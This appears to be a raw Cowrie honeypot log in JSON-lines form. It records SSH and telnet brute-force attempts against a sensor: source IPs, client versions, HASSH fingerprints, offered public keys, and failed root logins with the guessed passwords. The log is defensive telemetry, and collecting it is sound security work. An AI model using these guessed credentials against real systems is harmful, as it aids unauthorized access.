{"eventid":"cowrie.session.closed","duration":0.005649089813232422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:54.122601Z","src_ip":"192.119.13.58","session":"7c45b935349c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":36118,"dst_ip":"159.203.135.109","dst_port":22,"session":"9774175b81eb","protocol":"ssh","message":"New connection: 43.173.89.56:36118 (159.203.135.109:22) [session: 9774175b81eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:56.588917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:56.593413Z","src_ip":"43.173.89.56","session":"9774175b81eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:56.661169Z","src_ip":"43.173.89.56","session":"9774175b81eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135151","message":"login attempt [root/135151] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:56.964559Z","src_ip":"43.173.89.56","session":"9774175b81eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58992,"dst_ip":"10.17.0.5","dst_port":23,"session":"2092ac605e21","protocol":"telnet","message":"New connection: 192.119.13.58:58992 (10.17.0.5:23) [session: 2092ac605e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:57.225473Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:58.034753Z","src_ip":"43.173.89.56","session":"9774175b81eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":49826,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2801bcbd691","protocol":"ssh","message":"New connection: 181.47.9.103:49826 (159.203.135.109:22) [session: c2801bcbd691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:11.446447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:11.450729Z","src_ip":"181.47.9.103","session":"c2801bcbd691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:11.593011Z","src_ip":"181.47.9.103","session":"c2801bcbd691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Runner","message":"login attempt [root/Runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:12.191732Z","src_ip":"181.47.9.103","session":"c2801bcbd691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:13.336527Z","src_ip":"181.47.9.103","session":"c2801bcbd691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37364,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86b09c0cb6c","protocol":"telnet","message":"New connection: 192.119.13.58:37364 (10.17.0.5:23) [session: c86b09c0cb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:14.736307Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":54062,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7956129a485","protocol":"ssh","message":"New connection: 152.32.150.26:54062 (159.203.135.109:22) [session: e7956129a485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:19.850751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:19.859447Z","src_ip":"152.32.150.26","session":"e7956129a485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:19.871195Z","src_ip":"152.32.150.26","session":"e7956129a485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanya","message":"login attempt [root/tanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:19.945407Z","src_ip":"152.32.150.26","session":"e7956129a485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:20.960514Z","src_ip":"152.32.150.26","session":"e7956129a485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":39002,"dst_ip":"159.203.135.109","dst_port":22,"session":"b712ee21acde","protocol":"ssh","message":"New connection: 43.130.16.4:39002 (159.203.135.109:22) [session: b712ee21acde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:26.036577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:26.041476Z","src_ip":"43.130.16.4","session":"b712ee21acde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:26.110766Z","src_ip":"43.130.16.4","session":"b712ee21acde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"portal123","message":"login attempt [root/portal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:26.417804Z","src_ip":"43.130.16.4","session":"b712ee21acde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:27.489716Z","src_ip":"43.130.16.4","session":"b712ee21acde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":48148,"dst_ip":"159.203.135.109","dst_port":22,"session":"7689b38330f1","protocol":"ssh","message":"New connection: 43.153.39.191:48148 (159.203.135.109:22) [session: 7689b38330f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:30.292757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:30.297702Z","src_ip":"43.153.39.191","session":"7689b38330f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:30.369062Z","src_ip":"43.153.39.191","session":"7689b38330f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@123","message":"login attempt [root/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:30.674523Z","src_ip":"43.153.39.191","session":"7689b38330f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:31.745959Z","src_ip":"43.153.39.191","session":"7689b38330f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.75675177574158,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:49.982102Z","src_ip":"192.119.13.58","session":"2092ac605e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c74046742b03","protocol":"telnet","message":"New connection: 192.119.13.58:56154 (10.17.0.5:23) [session: c74046742b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:51.595167Z"}
{"eventid":"cowrie.session.closed","duration":40.622599840164185,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:55.358725Z","src_ip":"192.119.13.58","session":"c86b09c0cb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.151.17","src_port":58814,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a2bc647c72","protocol":"ssh","message":"New connection: 91.98.151.17:58814 (10.17.0.5:22) [session: 16a2bc647c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:56.710791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:56.715778Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:56.808221Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:99:77:06:9e:61:28:29:00:94:87:30:c7:b2:14:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9T5cI3NtAiRM8JckF1vjmPGi99ev2Z1WkNH8ztNXkXNMfg8vTfVA7rmNK94NKuVB1UXyy3KNpsb+2HRVtruc7oeuvuyh/v3QTCptBrt4AUjduDUW5Oun499DOZ5kIxzwJCBCOVPTKGfiRaJomX6unWGtrQXB11YKdDLJd9bymxeT2JsYrQDgwydkKqIGK9DDSob5QhYnDpMADzOv9kIp1f4euM1tPs44MCG7xA801/iBLTG8pWxEBnrBh1pkdUK/pZxFq7Ejda4UY+jf3kR6n9MtCmIHPYn0+AVcQxV5GpZ4ouMv29QaXQhqZmv6BT/ndLALZAEX4gGVyQjG+O/5w0XuYXPHZumEX/1MGC7qfa9nLlBLtSYN5RlsNowp+HOCBCUc/uDzMjT6LiCmrtJuBKelWJNamhaMDnAt75XwxovxvGRTRurjJkHv4wPnWq0Kob0Bt7CSVJ3n+eDZelKufuJRhyvFpgnyLHBgn2mmNy6w/2t9PxYq3aNjywu1hFSNzf8wlzpoct8tydQCtPIoWlK4VMZjwEsxJxU5zysMpFPIwFeiQzh4pdidYbkVcxT0Re/TxbhD4gRKns14xzYeAO8gHzSRZJVyR85592RZl2zZvPijARye+o01IYAAxkhn7XQxMttaAxwa7Htx/qKHYYNsB19vU0B/+zz1ToqXkZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:99:77:06:9e:61:28:29:00:94:87:30:c7:b2:14:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.252331Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:99:77:06:9e:61:28:29:00:94:87:30:c7:b2:14:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9T5cI3NtAiRM8JckF1vjmPGi99ev2Z1WkNH8ztNXkXNMfg8vTfVA7rmNK94NKuVB1UXyy3KNpsb+2HRVtruc7oeuvuyh/v3QTCptBrt4AUjduDUW5Oun499DOZ5kIxzwJCBCOVPTKGfiRaJomX6unWGtrQXB11YKdDLJd9bymxeT2JsYrQDgwydkKqIGK9DDSob5QhYnDpMADzOv9kIp1f4euM1tPs44MCG7xA801/iBLTG8pWxEBnrBh1pkdUK/pZxFq7Ejda4UY+jf3kR6n9MtCmIHPYn0+AVcQxV5GpZ4ouMv29QaXQhqZmv6BT/ndLALZAEX4gGVyQjG+O/5w0XuYXPHZumEX/1MGC7qfa9nLlBLtSYN5RlsNowp+HOCBCUc/uDzMjT6LiCmrtJuBKelWJNamhaMDnAt75XwxovxvGRTRurjJkHv4wPnWq0Kob0Bt7CSVJ3n+eDZelKufuJRhyvFpgnyLHBgn2mmNy6w/2t9PxYq3aNjywu1hFSNzf8wlzpoct8tydQCtPIoWlK4VMZjwEsxJxU5zysMpFPIwFeiQzh4pdidYbkVcxT0Re/TxbhD4gRKns14xzYeAO8gHzSRZJVyR85592RZl2zZvPijARye+o01IYAAxkhn7XQxMttaAxwa7Htx/qKHYYNsB19vU0B/+zz1ToqXkZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.256294Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:37:37:87:6a:e8:bd:f7:a1:0e:6a:63:fc:0d:bb:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxbknyy9Xg+8LyKw7foau1F0xXF7dFMsGIz2ZhZfeS4RsyUHQwGpZdvhS7Bi9uKTSKTDF4aLkYt5GGT/Nfl+mAFdkz0HlPlzE7gM8Ba2501MxhNeK6rctLkCf9rGe2udD5yzvxJ7+Nme7CtJ+1KwLkArp69+0fu1P6EAAaT9Ip5QgEgpAa4EM0TiE+TRV4UfPdGGDQaaGgeTFTnrgBJwpC3hMawvrR+Z6CnVdxVdrAj3qzvvppf+Yo3IdIsQyYi6wpghrAOvZ6fdGs4en2A3WCR3yvt+655inkwSpjGKqNlPC6oDB1VnLwpTP46hThWF93+mJ1VlxPOGrWNUfDSQ/x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:37:37:87:6a:e8:bd:f7:a1:0e:6a:63:fc:0d:bb:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.356696Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:37:37:87:6a:e8:bd:f7:a1:0e:6a:63:fc:0d:bb:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxbknyy9Xg+8LyKw7foau1F0xXF7dFMsGIz2ZhZfeS4RsyUHQwGpZdvhS7Bi9uKTSKTDF4aLkYt5GGT/Nfl+mAFdkz0HlPlzE7gM8Ba2501MxhNeK6rctLkCf9rGe2udD5yzvxJ7+Nme7CtJ+1KwLkArp69+0fu1P6EAAaT9Ip5QgEgpAa4EM0TiE+TRV4UfPdGGDQaaGgeTFTnrgBJwpC3hMawvrR+Z6CnVdxVdrAj3qzvvppf+Yo3IdIsQyYi6wpghrAOvZ6fdGs4en2A3WCR3yvt+655inkwSpjGKqNlPC6oDB1VnLwpTP46hThWF93+mJ1VlxPOGrWNUfDSQ/x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:28:57.360443Z","src_ip":"91.98.151.17","session":"16a2bc647c72","protocol":"ssh"}
